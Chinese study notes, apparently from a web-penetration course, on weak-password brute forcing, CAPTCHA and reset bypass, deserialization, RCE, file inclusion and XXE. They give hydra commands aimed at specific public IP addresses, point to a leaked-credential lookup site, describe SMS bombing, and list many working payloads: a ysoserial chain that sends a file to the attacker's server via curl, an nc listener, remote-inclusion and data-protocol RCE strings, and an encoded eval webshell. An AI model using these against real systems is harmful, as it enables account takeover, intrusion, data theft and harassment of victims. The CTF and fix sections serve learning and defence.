弱口令

1.百度搜REG007:查看注册过多少网站。

2.xx库,SGK66.CC

3.对弱口令抓包,使用bp的爆破模块,可以对payload进行加密,使用payload processing 选择对应的加密方式,比如MD5.

#Web类-加密&验证码后台猜解

https://github.com/smxiazi/NEW_xp_CAPTCHA

-Zblog-密文MD5传输加密猜解

-Seacms-登录验证码识别猜解

#服务类-SSH&RDP远程终端猜解

https://github.com/vanhauser-thc/thc-hydra

hydra是一个自动化的爆破工具,暴力破解弱密码,

是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

hydra -l root -P UserPassCombo-Jay.txt -t 5 -vV 47.110.73.12 ssh -f

hydra -l administrator -P UserPassCombo-Jay.txt -t 5 -vV 47.99.218.105 rdp -f

#应用类-ZIP&WORD文件压缩包猜解

PassFab for Word //支持多种格式密码暴力破解,不过基于字典。

Advanced Archive Password Recovery

#字典类-密文收集&弱口令&自定义生成

https://monitor.firefox.com

https://haveibeenpwned.com

https://www.bugku.com/mima //弱口令生成

https://github.com/danielmiessler/SecLists //这是很多常见的密码

https://github.com/hetianlab/DefaultCreds-cheat-sheet

验证码

验证码出现在很多地方,用来防止暴力破解以及进行身份验证,如果验证码设计存在漏洞,会让攻击者进行任意登录或者找回,危害很大。

一、验证码回显
1.验证码在数据包中显示出来:
用发送验证码时使用bp抓取数据包,从数据包中观察是否含有验证码,如果有,可以直接改包利用。
2.验证码不回显:
尝试抓包,在bp中右键数据包,选择do interscept ->Response to this request,对比输入正确的验证码和错误的验证码之后状态码的数字,比如正确为1,错误为3,尝试输入错误的验证码后,将状态码改成1,看看能否成功。不过这是因为验证基于前端或者本地浏览器,大概率不成功,如果别人验证用的是后端,那想必是不能成功的。

二、接口调用错误
1.短信轰炸:网络上有些发送验证码的服务不能防止重发的话,利用这些接口,反复给某个号码发送大量验证码的短信。

三、修改用户指向
1.当点击找回密码时,可能会给账号的邮箱发送修改密码的邮件,邮件之中有重置密码的链接,观察该链接是否包含可以由我们自行修改的变量,比如说用户名,尝试修改用户名看看是否能重置其他用户的密码。不过大概率是不行的,因为会有验证。但是如果是白盒测试,那么可以审计源码。

#知识点:

1、找回密码逻辑机制-回显&验证码&指向

2、验证码验证安全机制-爆破&复用&识别

3、找回密码-客户端回显&Response状态值&修改重定向

4、验证码技术-验证码爆破,验证码复用,验证码识别等

#详细点:

-找回密码流程安全:

1、用回显状态判断-res前端判断不安全

2、用用户名重定向-修改标示绕过验证

3、验证码回显显示-验证码泄漏验证虚设

4、验证码简单机制-验证码过于简单爆破

-验证码绕过安全:

1、验证码简单机制-验证码过于简单爆破

2、验证码重复使用-验证码验证机制绕过

3、验证码智能识别-验证码图形码被识别

4、验证码接口调用-验证码触发机制枚举

#安全修复方案:

-找回机制要进行每一步验证-防绕过重定向

-找回机制要进行服务端验证-防res数据修改

-找回机制要控制验证码安全-防验证码攻击

-验证码接口需验证后被调用-防接口被乱调用

-验证码引用智能化人工判断-防验证码被识别

-验证码采用时间段生效失效-防验证码被复用


#phpun-res值修改&验证码回显&爆破

res修改-绑定手机号时修改返回状态值判定通过

验证码回显-绑定手机号时验证码前端泄漏被获取

验证码爆破-知道验证码规矩进行无次数限制爆破

#某APP-res值修改&验证码接口调用&复用

res修改-找回密码修改返回状态值判定验证通过

验证码接口调用-抓当前发送验证码数据包后调用

验证码复用-抓第一次验证通过的验证码进行复用

#seacms-验证码识别&找回机制对应值修改

-找回机制对应值修改:

注册两个帐号,尝试找回密码,重置连接重定向绕过

代码审计后分析Poc:

member.php?mod=repsw3&repswcode=y&repswname=targetUser

-验证码识别:xp_CAPTCHA

https://github.com/c0ny1/captcha-killer

https://github.com/smxiazi/NEW_xp_CAPTCHA

使用环境:windows 10 python3.6.5

安装使用:具体看直播操作

1、burp安装jypython后导入py文件

2、安装所需库后python运行server.py

3、抓操作数据包后设置参数设置引用

参考案例:https://www.cnblogs.com/punished/p/14746970.html

应用:爆破密码时,接口调用时,测试其他时等

java反序列化/python反序列化

首先引用迪总的笔记,给出java反序列化的一些特征:

函数接口:

Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

3、出现具体:

http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含

下面是迪总使用工具玩靶场的过程:

#原生API-Ysoserial_URLDNS使用

Serializable 接口

Externalizable 接口

没组件生成DNS利用:

https://github.com/frohoff/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS “http://9ar7xl.dnslog.cn” > urldns.ser

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成RCE:

1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin

2、解码:python java.py

import base64

file = open(“x.bin”,”rb”)

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

#解密分析-SerializationDumper数据分析

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF赛题-[网鼎杯2020朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=’ union select (select name from user)#

dbName=myapp?a=’ union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html接口测试:

{

“password”:”admin@Rrrr_ctf_asde”,

  “username”: “admin”

}

登录成功返回数据:

{   “data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”,   “msg”: “登录成功”,   “status”: 2,   “timestamps”: 1617614357281 }

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64

a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”

b = base64.b64decode(a).encode(‘hex’)

print(b)

再利用SerializationDumper解析数据 java反序列化字节转字符串工具

java -jar SerializationDumper-v1.11.jar aced000xxxx

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://自己服务器的IP以及端口 / -d @/flag” > flag.bin

利用py2脚本进行反序列化数据的提取

import base64

file = open(“flag.bin”,”rb”)

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

0x05 触发反序列化,获取flag

自己的服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作

python反序列化

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

python语言常用的函数:pickle marshal PyYAML shelve PIL unzip

python反序列化比PHP反序列化危害更大,在PHP中,反序列化会触发魔术方法,调用内置对象,而python若存在漏洞,对象可以任意构建,所以更危险。

进行代码审计的时候,从源码找出序列化相关的函数,监控传入的数据、参数是否能被人控制。

#代码审计-自动化工具-bandit安装及使用

参考:https://bandit.readthedocs.io/

安装:pip install bandit

linux:

安装后会在当前Python目录下bin

使用:bandit -r 需要审计的源码目录

windows:

安装后会在当前Python目录下script

使用:bandit -r 需要审计的源码目录

xpath注入

xpath注入针对xml文件,利用xpath解析器的特性,在URL和表单等地方附上payload(恶意的xpath查询码)。xpath注入的目的是获得权限信息的访问权并且修改权限信息,攻击者通过xpath查询能得到xml文档的完整内容。

xpath攻击特点:
1.xpath是一种标准语言,使用xpath但是没有严格过滤输入的web应用极有可能存在漏洞。
2.xpath几乎可以引用xml文档的所有内容,并且引用没有访问限制。

xpath注入原理:
xpath注入和sql注入原理很像,在查询中闭合语句或者是使用逻辑符号运算绕过等实现恶意查询。数据库有sql语句进行增删改查,当数据使用文件保存,比如xml文件,对xml文件的增删改查使用的是xpath语句。因此他们之间的共性可以大致推断。

在XPath中,XML文档被作为节点树对待,XPath中有七种结点类型:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。 文档的根节点即是文档结点;对应属性有属性结点,元素有元素结点。

  • element (元素)
  • attribute (属性)
  • text (文本)
  • namespace (命名空间)
  • processing-instruction (处理指令)
  • comment (注释)
  • root (根节点)
xpath规则
通配符

php反序列化学习补充

是时候重新回到学习状态。

继续学习php的魔术方法,很多都是当某个操作失败时(或者调用不存在的东西)触发这些魔术方法,也有某些操作会触发魔术方法,这是默认的,如果没有配置好,攻击者可以利用魔术方法来设计攻击方法。

下面是上一篇关于php的魔术方法:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__toString(): //把类当作字符串使用时触发

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用


对象变量属性:

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

序列化数据显示:

private属性序列化的时候格式是%00类名%00成员名

protect属性序列化的时候格式是%00*%00成员名


从序列化的字符串,可以判断,序列化前对象变量的属性,如下,当变量属性是public时,序列化显示正常:

图 对象以及对象属性序列化前

序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;}
如果对象属性是private,则会变成%00类名%00成员名,注意到%00会被识别为类似c语言的null,序列化之后存在但是看不见,效果如下:
序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;s:9(7+2,2是两个%00):”testage”;} //testage就是类名加成员名。经常在序列化后要编码,因为不编码的话%00会操作不到。
那么,如果属性是protect的话就会是%00*%00,序列化之后如下:
序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;s:9:”testage”;s:2:”29″;s:6:”*sex”:s:3:”man”;} //高亮处S为6是因为两个%00和*也算进去了。

反序列化在很多ctf比赛上有,依稀记得很久之前某次面试面试官让我手撕一个对象序列化之后的字符串,当时要是早点学就好了。反序列化除了利用逻辑漏洞,还可以利用语言漏洞,比如php的漏洞。在某道ctf题目中,需要对_wakeup()进行绕过,具体使用CVE-2016-7124,利用原理是构造payload中,修改变量个数超过正确个数,注意要进行urlencode编码。


PHP原生类学习:

每个魔术方法的原生类不一样,起到的效果不一样。

phar

字符串逃逸

session


web组件-wordpress-pingback

wordpress中的pingback和trackback用来提醒作者文章被转载。

但是攻击者可能会利用pingback功能去造成资源耗尽。

pingback目录在站点目录的xmlrpc.php文件

RCE执行:代码执行-命令执行

代码执行:脚本执行代码
命令执行:脚本执行命令

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

#RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval(‘phpinfo();’);

//system命令执行

system(‘ipconfig’);

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:

eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议

php://input post:<?php system(‘tac flag.php’);?>

#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方

http://vulfocus.io/ Shiro weblogic

在下面的网站可以尝试利用payload

https://github.com/payloadbox/command-injection-payload-list

web安全-文件下载、删除、读取

对于文件的操作:上传、包含、下载、删除、读取……在这些功能点产生漏洞,都会对系统安全形成危害。文件下载、读取思路相似,主要是对一些敏感的文件进行操作,比如说凭据。而删除更是高危操作,举个例子,删除漏洞会让攻击者删除一些验证文件,会对访问控制进行破坏,另外,攻击者还会利用该漏洞进行重装攻击,将配置初始化指向攻击者构建的环境。再举一个例子,很多博客系统可以删除文章,以此为切入点思考文件删除漏洞产生原理

回忆之前提到的下载的区别:
1.直连下载,在目录中有的,输入文件名能根据协议类别进行下载。因为直连有就有没有就没有,正经人不会把敏感数据放到可以下载的目录,而且攻击者也没有可以控制的参数,所以是安全的,写死了路径不会有漏洞。
2.常规下载会有特定的判定语句,然后对请求内容进行下载,这种会有参数,如果参数可控,就可能存在有下载漏洞。

在迪总演示外国网站,尝试下载index.php文件,下载后审计其中代码,发现包含很多文件,可以推测一些数据库配置文件应该也是被包含的,所以可以尝试下载数据库配置文件(可以找到特定的名称文件,也可以一个个尝试)。幸运的话可以发现包含的配置信息里的敏感内容,比如数据库账号密码。

下面借鉴迪总笔记:

#白盒审计:

1、文件下载

流程-功能点抓包-寻代码文件-寻变量控制-构造测试

Payload: softadd=d:/1.txt softadd2=d:/1.txt

2、文件删除:74CMS-配合删除重装

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock

3、文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload:/include/thumb.php?dir=http\..\..\config\config_db.php

#黑盒探针

1、URL参数名及参数值分析:

参数名:英文对应翻译

参数值:目录或文件名

2、功能点自行修改后分析:

文件下载,删除,读取等

文件包含漏洞

该漏洞使用多,因为基本上都会使用文件包含来执行代码。比如一些验证模块,是写好之后再在需要认证的地方引用它

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法-见下文

<!–#include file=”1.asp” –>

<!–#include file=”top.aspx” –>

<c:import url=”http://thief.one/1.jsp”>

<jsp:include page=”head.jsp”/>

<%@ include file=”head.jsp”%>

<?php Include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

在一些存在文件包含漏洞的地方,我们要的到目标内容,在不知道路径以及要包含文件的信息时,可以使用一些伪协议,如php的一些伪协议。在迪总的演示中使用: ?file=php://input
然后用post发送数据

要注意的是,如果要使用伪协议,需要配合配置文件,比如如下图,特定的协议需要在配置文件中设置为打开状态才能使用

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system(‘tac flag.php’);?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

79-data&http协议

payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码 //这跟之前文件上传时用到的思路一样,尝试包含日志文件,比如nginx的日志是下面路径,包含执行后抓包,修改UA头,改成payload,放行后,可以在日志查看。

包含:/var/log/nginx/access.log

82-86-SESSION包含 //迪总演示中,linux保存session的地址xxx/temp/temp,每有一次尝试访问网站都会产生session会话。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64: // 有些时候,过滤了“.”也就是不能包含日志文件了

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13: //rot 13

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv(“UCS-2LE”,”UCS-2BE”, ‘<?php eval($_POST[a]);?>’);

echo “经过一次反转:”.$result.”\n”;

echo “经过第二次反转:”.iconv(“UCS-2LE”,”UCS-2BE”, $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过 //如果url会被拼接,那么伪协议就用不了,比如“file”.$url.”.php”这样的话,伪协议会失去作用

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定 //php低版本的缺陷

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

web漏洞-XML-XXE

XML是一种语言,跟html的区别是,xml用来传输数据存储内容数据的,而html是用来展示数据的。

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

相关文章总结,参考:文章

-XXE黑盒发现:
比如在登陆的时候,抓个包,看看报文分析分析

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

-方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC